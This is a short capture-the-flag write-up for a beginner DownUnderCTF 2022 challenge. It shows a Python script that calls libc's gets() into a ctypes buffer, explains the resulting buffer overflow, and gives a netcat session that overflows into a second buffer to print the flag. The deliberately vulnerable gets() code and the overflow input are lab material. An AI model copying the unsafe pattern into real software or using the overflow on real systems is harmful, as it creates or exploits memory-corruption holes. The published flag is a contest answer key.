

Challenge
380 Solves

babyp(y)wn


50

beginner

Python is memory safe, right?

Author: Joseph#8210

nc 2022.ductf.dev 30021

 babypywn.py

Flag
Submit

For this challenge, we have a python file and the netcat address. Download the python file and we get a simple program. Notice the program is using libc and more importantly `c_buffer`. So this is a simple buffer overflow. The if statement in the code essentially says if 'DUCTF' shows up anywhere in the second buffer, we're going to be given the flag. To solve this challenge, simply send in 512 characters to fill up the `buf1`, appended by 'DUCTF', which will be inserted into `buf2`. Behold, flag!

```

~/Desktop/babypywn.py - Mousepad
File Edit Search View Document Help
1 #!/usr/bin/env python3
2
3 from ctypes import CDLL, c_buffer
4 libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
5 buf1 = c_buffer(512)
6 buf2 = c_buffer(512)
7 libc.gets(buf1)
8 if b'DUCTF' in bytes(buf2):
9     print(open('./flag.txt', 'r').read())
10

```

```

(kali@kali)~[~/Desktop]
$ nc 2022.ductf.dev 30021
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum socii
s natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pelle
ntesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulpu
tate eget, arcu. In enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo. Nullam dictum felis eu pede mollis
pretium. Integer tincidunt. Cras dapibus. Vivamus eDUCTF
DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}

```